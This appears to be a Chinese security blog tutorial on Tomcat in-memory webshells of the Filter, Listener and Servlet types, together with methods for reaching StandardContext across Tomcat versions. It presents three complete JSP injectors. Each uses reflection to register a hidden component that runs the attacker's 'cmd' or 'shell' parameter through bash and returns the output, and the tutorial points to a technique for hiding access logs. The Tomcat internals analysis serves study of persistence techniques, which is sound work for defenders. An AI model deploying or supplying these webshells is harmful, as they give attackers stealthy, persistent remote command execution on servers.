0%

Tomcat Memory Shell

TL;DR

本系列主要是补以前落下的知识,参考了很多大师傅的文章,非常感谢师傅们的分享

Filter Memory Shell

实例

我这里使用的是idea 2021.2,maven quickstart

image

右键项目,Add Framework Support

image

然后配置tomcat,选择Run->Edit Configuration->左上角加号->Tomcat Server(注意不是TomEE)->Local

image

选择第二个选项卡Deployment->右边的加号->选择Artifact,然后启动tomcat即可

image

project structure,把tomcat的lib加到libraries里,方便后面调试

image

添加addfilter.jsp,代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import = "org.apache.catalina.Context" %>
<%@ page import = "org.apache.catalina.core.ApplicationContext" %>
<%@ page import = "org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import = "org.apache.catalina.core.StandardContext" %>

<!-- tomcat 8/9 -->
<%@ page import = "org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import = "org.apache.tomcat.util.descriptor.web.FilterDef" %>

<!-- tomcat 7 -->
<%--<%@ page import = "org.apache.catalina.deploy.FilterMap" %>--%>
<%--<%@ page import = "org.apache.catalina.deploy.FilterDef" %>--%>


<%@ page import = "javax.servlet.*" %>
<%@ page import = "javax.servlet.annotation.WebServlet" %>
<%@ page import = "javax.servlet.http.HttpServlet" %>
<%@ page import = "javax.servlet.http.HttpServletRequest" %>
<%@ page import = "javax.servlet.http.HttpServletResponse" %>
<%@ page import = "java.io.IOException" %>
<%@ page import = "java.lang.reflect.Constructor" %>
<%@ page import = "java.lang.reflect.Field" %>
<%@ page import = "java.lang.reflect.InvocationTargetException" %>
<%@ page import = "java.util.Map" %>


<!-- 1 revise the import class with correct tomcat version -->
<!-- 2 request this jsp file -->
<!-- 3 request xxxx/this file/../abcd?cmdc=calc -->

<%
class DefaultFilter implements Filter {
@Override
public void init(FilterConfig filterConfig) throws ServletException {
}
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
HttpServletRequest req = (HttpServletRequest) servletRequest;
HttpServletResponse response = (HttpServletResponse) servletResponse;
if (req.getParameter("cmd") != null) {
byte[] bytes = new byte[1024];
Process process = new ProcessBuilder("bash","-c",req.getParameter("cmd")).start();
int len = process.getInputStream().read(bytes);
servletResponse.getWriter().write(new String(bytes,0,len));
process.destroy();
return;
}
filterChain.doFilter(servletRequest, servletResponse);
}
public void destroy() {}
}
%>


<%
String name = "DefaultFilter";
ServletContext servletContext = request.getSession().getServletContext();
Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
Map filterConfigs = (Map) Configs.get(standardContext);
if (filterConfigs.get(name) == null){
DefaultFilter filter = new DefaultFilter();
FilterDef filterDef = new FilterDef();
filterDef.setFilterName(name);
filterDef.setFilterClass(filter.getClass().getName());
filterDef.setFilter(filter);
standardContext.addFilterDef(filterDef);
FilterMap filterMap = new FilterMap();
// filterMap.addURLPattern("/*");
filterMap.addURLPattern("/str3am");
filterMap.setFilterName(name);
filterMap.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMapBefore(filterMap);
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);
filterConfigs.put(name, filterConfig);
out.write("Inject success!");
}
else{
out.write("Injected");
}
%>

启动tomcat后访问addfilter.jsp,注入内存马成功

image

隐藏内存马访问日志记录可以参考这篇:Tomcat容器攻防笔记之隐匿行踪 - 安全客

分析

创建一个简单的filter

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
package org.example;

import javax.servlet.*;
import javax.servlet.annotation.*;
import java.io.IOException;

@WebFilter(filterName = "Filter")
public class MyFilter implements Filter {
public void init(FilterConfig config) throws ServletException {
System.out.println("Filter 创建");
}

public void destroy() {
System.out.println("销毁!");
}

@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws ServletException, IOException {
System.out.println("执行过滤过程");
chain.doFilter(request, response);
}
}

配置web.xml

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
version="4.0">
<filter>
<filter-name>myFilter</filter-name>
<filter-class>org.example.MyFilter</filter-class>
</filter>
<filter-mapping>
<filter-name>myFilter</filter-name>
<url-pattern>/*</url-pattern>
</filter-mapping>
</web-app>

也可以使用标记声明

1
2
3
4
5
@WebFilter(filterName = "CharsetFilter",
urlPatterns = "/*",/*通配符(*)表示对所有的web资源进行拦截*/
initParams = {
@WebInitParam(name = "charset", value = "utf-8")/*这里可以放一些初始化的参数*/
})

访问任意路径的时候会执行doFilter方法

image

众所周知,filter是一个链式调用,跟一下filterChain的生成

org.apache.catalina.core.ApplicationFilterFactory#createFilterChain

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
...
filterChain.setServlet(servlet);
filterChain.setServletSupportsAsync(wrapper.isAsyncSupported());
StandardContext context = (StandardContext)wrapper.getParent();
FilterMap[] filterMaps = context.findFilterMaps();
if (filterMaps != null && filterMaps.length != 0) {
DispatcherType dispatcher = (DispatcherType)request.getAttribute("org.apache.catalina.core.DISPATCHER_TYPE");
String requestPath = null;
Object attribute = request.getAttribute("org.apache.catalina.core.DISPATCHER_REQUEST_PATH");
if (attribute != null) {
requestPath = attribute.toString();
}

String servletName = wrapper.getName();

int i;
ApplicationFilterConfig filterConfig;
for(i = 0; i < filterMaps.length; ++i) {
if (matchDispatcher(filterMaps[i], dispatcher) && matchFiltersURL(filterMaps[i], requestPath)) {
filterConfig = (ApplicationFilterConfig)context.findFilterConfig(filterMaps[i].getFilterName());
if (filterConfig != null) {
filterChain.addFilter(filterConfig);
}
}
}

for(i = 0; i < filterMaps.length; ++i) {
if (matchDispatcher(filterMaps[i], dispatcher) && matchFiltersServlet(filterMaps[i], servletName)) {
filterConfig = (ApplicationFilterConfig)context.findFilterConfig(filterMaps[i].getFilterName());
if (filterConfig != null) {
filterChain.addFilter(filterConfig);
}
}
}

return filterChain;
} else {
return filterChain;
}
}
...

这里涉及三个对象,可以参考师傅的文章:JSP Webshell那些事 – 攻击篇(下)

总结下来:

filterDefs存放了filter的定义,比如名称跟对应的类

filterConfigs除了存放了filterDef还保存了当时的Context

FilterMaps则对应了web.xml中配置的<filter-mapping>,里面代表了各个filter之间的调用顺序

image

filterChain的生成即遍历FilterMaps ,判断当前请求的servlet或者requestpath是否满足filerMaps限制的范围,如果满足则filterChain添加对应的filterConfigs

接下来继续跟doFilter方法

 org.apache.catalina.core.ApplicationFilterChain#doFilter

image

Globals.IS_SECURITY_ENABLED 默认为false,交由internalDoFilter处理

image

try中取出filter,然后调用其doFilter方法

image

最后一个filter的doFilter方法将调用servlet.service

概述地说, FilterChain.doFilter() 方法将调用下一个 Filter.doFilter() 方法;最后一个 Filter.doFilter() 方法中调用的FilterChain.doFilter() 方法将调用目标 Servlet.service() 方法。

根据之前的代码filterconfig和filtermaps是从context里面获取,context的取值获取

org.apache.catalina.core.ApplicationFilterFactory

image

context实际对应这个类

org.apache.catalina.core.StandardContext

有几个比较重要的函数:

  • StandardContext.addFilterDef()可以添加filterRefs

  • StandardContext.addFilterMap()可以添加filtermap

那么Filter类型内存马的创建可以总结为如下步骤:

  1. 获取context
  2. 创建一个恶意Filter,并将其封装成 FilterDef
  3. 添加FilterDef和filterConfigs

获取context

当我们能直接获取 request 的时候,可以直接将 ServletContext 转为 StandardContext 从而获取 context

1
2
3
4
5
6
7
8
9
ServletContext servletContext =  request.getSession().getServletContext();
Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);

创建一个恶意Filter,并将其封装成 FilterDef

1
2
3
4
5
DefaultFilter filter = new DefaultFilter();
FilterDef filterDef = new FilterDef();
filterDef.setFilterName(name);
filterDef.setFilterClass(filter.getClass().getName());
filterDef.setFilter(filter);

添加FilterDef和filterConfigs

1
2
3
4
5
6
7
8
9
10
11
standardContext.addFilterDef(filterDef);
FilterMap filterMap = new FilterMap();
// filterMap.addURLPattern("/*");
filterMap.addURLPattern("/str3am");
filterMap.setFilterName(name);
filterMap.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMapBefore(filterMap);
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);
filterConfigs.put(name, filterConfig);

Listener Memory Shell

实例

addlistener.jsp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="javax.servlet.*" %>
<%@ page import="javax.servlet.annotation.WebServlet" %>
<%@ page import="javax.servlet.http.HttpServlet" %>
<%@ page import="javax.servlet.http.HttpServletRequest" %>
<%@ page import="javax.servlet.http.HttpServletResponse" %>
<%@ page import="java.io.IOException" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<!-- 1、exec this-->
<!-- 2、request any url with a parameter of "shell" -->

<%
class S implements ServletRequestListener{
@Override
public void requestDestroyed(ServletRequestEvent servletRequestEvent) {

}
@Override
public void requestInitialized(ServletRequestEvent servletRequestEvent) {
if(request.getParameter("shell") != null){
try {
// Runtime.getRuntime().exec(request.getParameter("shell"));
byte[] bytes = new byte[1024];
Process process = new ProcessBuilder("bash","-c",request.getParameter("shell")).start();
int len = process.getInputStream().read(bytes);
response.getWriter().write(new String(bytes,0,len));
process.destroy();
return;
} catch (IOException e) {}
}
}
}
%>

<%
ServletContext servletContext = request.getSession().getServletContext();
Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
out.println("inject success");
S servletRequestListener = new S();
standardContext.addApplicationEventListener(servletRequestListener);
%>
<!-- 1、exec this-->
<!-- 2、request any url with a parameter of "shell" -->

访问addlistener.jsp注入内存马即可

image

分析

Tomcat对于加载优先级是 listener -> filter -> servlet

Listener分为以下几种:

  • ServletContext,服务器启动和终止时触发
  • Session,有关Session操作时触发
  • Request,访问服务时触发

前两种的触发方式都不适合作为内存Webshell

在应用中可能调用的监听器如下:

  • ServletContextListener:用于监听整个 Servlet 上下文(创建、销毁)
  • ServletContextAttributeListener:对 Servlet 上下文属性进行监听(增删改属性)
  • ServletRequestListener:对 Request 请求进行监听(创建、销毁)
  • ServletRequestAttributeListener:对 Request 属性进行监听(增删改属性)
  • javax.servlet.http.HttpSessionListener:对 Session 整体状态的监听
  • javax.servlet.http.HttpSessionAttributeListener:对 Session 属性的监听

关注ServletRequestListener,访问任意资源的时候,都会触发requestInitialized方法

javax.servlet.ServletRequestListener

image

这里ServletRequestEvent类型,可以通过其getServletRequest获取当前request对象,当然也可以直接使用request代表

image

获取context后直接addApplicationEventListener添加listener即可

创建listener内存马步骤:

  1. 获取context
  2. 创建恶意Listener
  3. context添加恶意Listener到ApplicationEventListener中

Serlvet Memory Shell

实例

addservlet.jsp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import = "org.apache.catalina.core.ApplicationContext"%>
<%@ page import = "org.apache.catalina.core.StandardContext"%>
<%@ page import = "javax.servlet.*"%>
<%@ page import = "javax.servlet.annotation.WebServlet"%>
<%@ page import = "javax.servlet.http.HttpServlet"%>
<%@ page import = "javax.servlet.http.HttpServletRequest"%>
<%@ page import = "javax.servlet.http.HttpServletResponse"%>
<%@ page import = "java.io.IOException"%>
<%@ page import = "java.lang.reflect.Field"%>


<!-- 1 request this file -->
<!-- 2 request thisfile/../evilpage?cmd=calc -->


<%
class EvilServlet implements Servlet{
@Override
public void init(ServletConfig config) throws ServletException {}
@Override
public String getServletInfo() {return null;}
@Override
public void destroy() {} public ServletConfig getServletConfig() {return null;}

@Override
public void service(ServletRequest req, ServletResponse res) throws ServletException, IOException {
HttpServletRequest request1 = (HttpServletRequest) req;
HttpServletResponse response1 = (HttpServletResponse) res;
if (request1.getParameter("cmd") != null){
// Runtime.getRuntime().exec(request1.getParameter("cmd"));
byte[] bytes = new byte[1024];
Process process = new ProcessBuilder("bash","-c",request1.getParameter("cmd")).start();
int len = process.getInputStream().read(bytes);
response.getWriter().write(new String(bytes,0,len));
process.destroy();
return;
}
else{
response1.sendError(HttpServletResponse.SC_NOT_FOUND);
}
}
}
%>


<%
ServletContext servletContext = request.getSession().getServletContext();
Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
EvilServlet evilServlet = new EvilServlet();
org.apache.catalina.Wrapper evilWrapper = standardContext.createWrapper();
evilWrapper.setName("str3am");
evilWrapper.setLoadOnStartup(1);
evilWrapper.setServlet(evilServlet);
evilWrapper.setServletClass(evilServlet.getClass().getName());
standardContext.addChild(evilWrapper);
standardContext.addServletMappingDecoded("/str3am", "str3am");
out.println("动态注入servlet成功");
%>

image

分析

创建一个普通的servlet

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
package org.example;

import javax.servlet.*;
import javax.servlet.http.*;
import javax.servlet.annotation.*;
import java.io.IOException;

@WebServlet(name = "TestServlet", value = "/TestServlet")
public class TestServlet extends HttpServlet {
@Override
protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
response.getWriter().write("hello");
}

@Override
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {

}
}

此时context的状态,可以看到我们的servlet被添加到了children中,对应的是使用StandardWrapper这个类进行封装

image

一个child对应一个封装了Servlet的StandardWrapper对象,其中有servlet的名字跟对应的类

类似FilterMaps,servlet也有对应的servletMappings,记录了urlParttern跟所对应的servlet的关系

综上所述,Servlet型内存Webshell的主要步骤如下:

  1. 获取context
  2. 创建恶意Servlet
  3. 用Wrapper对其进行封装
  4. 添加封装后的恶意Wrapper到StandardContext的children当中
  5. 添加ServletMapping将访问的URL和Servlet进行绑定

获取StandardContext方法

  1. 有request对象,由ServletContext转StandardContext
1
2
3
4
5
6
7
ServletContext servletContext =  request.getSession().getServletContext();
Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
  1. 从ThreadLocal获取request

这个方法来自于threedr3am师傅的文章,详细过程就不展开了,看文章即可。获取request之后,就可以获得StandardContext了,这种方法可以兼容tomcat 789,但在Tomcat 6下无法使用

  1. 从ContextClassLoader获取

由于Tomcat处理请求的线程中,存在ContextLoader对象,而这个对象又保存了StandardContext对象,所以很方便就获取了,只可用于Tomcat 8 9

1
2
org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase =(org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
StandardContext standardContext = (StandardContext)webappClassLoaderBase.getResources().getContext();
  1. 从MBean中获取
    Tomcat 使用 JMX MBean 来实现自身的性能管理。而我们可以从jmxMBeanServer对象,在其field中一步一步找到StandardContext对象。具体实现过程和代码,可见这篇文章,这种方法可以兼容Tomcat789,但有个很大的局限性在于,必须猜中项目名和host,才能获取到对应的standardContext对象
  2. Tomcat 6789全版本的StandardContext获取方法
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="org.apache.catalina.core.StandardContext"%>
<%@ page import="org.apache.catalina.core.StandardEngine"%>
<%@ page import="org.apache.catalina.core.StandardHost"%>
<%@ page import="java.lang.reflect.Field"%>
<%@ page import="java.util.HashMap"%>
<%@ page import="java.util.Iterator"%>

<%
class Tomcat6789 {
String uri;
String serverName;
StandardContext standardContext;
public Object getField(Object object, String fieldName) {
Field declaredField;
Class clazz = object.getClass();
while (clazz != Object.class) {
try {

declaredField = clazz.getDeclaredField(fieldName);
declaredField.setAccessible(true);
return declaredField.get(object);
} catch (NoSuchFieldException e){}
catch (IllegalAccessException e){}
clazz = clazz.getSuperclass();
}
return null;
}

public Tomcat6789() {
Thread[] threads = (Thread[]) this.getField(Thread.currentThread().getThreadGroup(), "threads");
Object object;
for (Thread thread : threads) {

if (thread == null) {
continue;
}
if (thread.getName().contains("exec")) {
continue;
}
Object target = this.getField(thread, "target");
if (!(target instanceof Runnable)) {
continue;
}

try {
object = getField(getField(getField(target, "this$0"), "handler"), "global");
} catch (Exception e) {
continue;
}
if (object == null) {
continue;
}
java.util.ArrayList processors = (java.util.ArrayList) getField(object, "processors");
Iterator iterator = processors.iterator();
while (iterator.hasNext()) {
Object next = iterator.next();

Object req = getField(next, "req");
Object serverPort = getField(req, "serverPort");
if (serverPort.equals(-1)){continue;}
org.apache.tomcat.util.buf.MessageBytes serverNameMB = (org.apache.tomcat.util.buf.MessageBytes) getField(req, "serverNameMB");
this.serverName = (String) getField(serverNameMB, "strValue");
if (this.serverName == null){
this.serverName = serverNameMB.toString();
}
if (this.serverName == null){
this.serverName = serverNameMB.getString();
}

org.apache.tomcat.util.buf.MessageBytes uriMB = (org.apache.tomcat.util.buf.MessageBytes) getField(req, "uriMB");
this.uri = (String) getField(uriMB, "strValue");
if (this.uri == null){
this.uri = uriMB.toString();
}
if (this.uri == null){
this.uri = uriMB.getString();
}

this.getStandardContext();
return;
}
}
}

public void getStandardContext() {
Thread[] threads = (Thread[]) this.getField(Thread.currentThread().getThreadGroup(), "threads");
for (Thread thread : threads) {
if (thread == null) {
continue;
}
if ((thread.getName().contains("Acceptor")) && (thread.getName().contains("http"))) {
Object target = this.getField(thread, "target");
HashMap children;
Object jioEndPoint = null;
try {
jioEndPoint = getField(target, "this$0");
}catch (Exception e){}
if (jioEndPoint == null){
try{
jioEndPoint = getField(target, "endpoint");
}catch (Exception e){ return; }
}
Object service = getField(getField(getField(getField(getField(jioEndPoint, "handler"), "proto"), "adapter"), "connector"), "service");
StandardEngine engine = null;
try {
engine = (StandardEngine) getField(service, "container");
}catch (Exception e){}
if (engine == null){
engine = (StandardEngine) getField(service, "engine");
}

children = (HashMap) getField(engine, "children");
StandardHost standardHost = (StandardHost) children.get(this.serverName);

children = (HashMap) getField(standardHost, "children");
Iterator iterator = children.keySet().iterator();
while (iterator.hasNext()){
String contextKey = (String) iterator.next();
if (!(this.uri.startsWith(contextKey))){continue;}
StandardContext standardContext = (StandardContext) children.get(contextKey);
this.standardContext = standardContext;
return;
}
}
}
}

public StandardContext getSTC(){
return this.standardContext;
}
}
%>

<%
Tomcat6789 a = new Tomcat6789();
out.println(a.getSTC());
%>

Refferences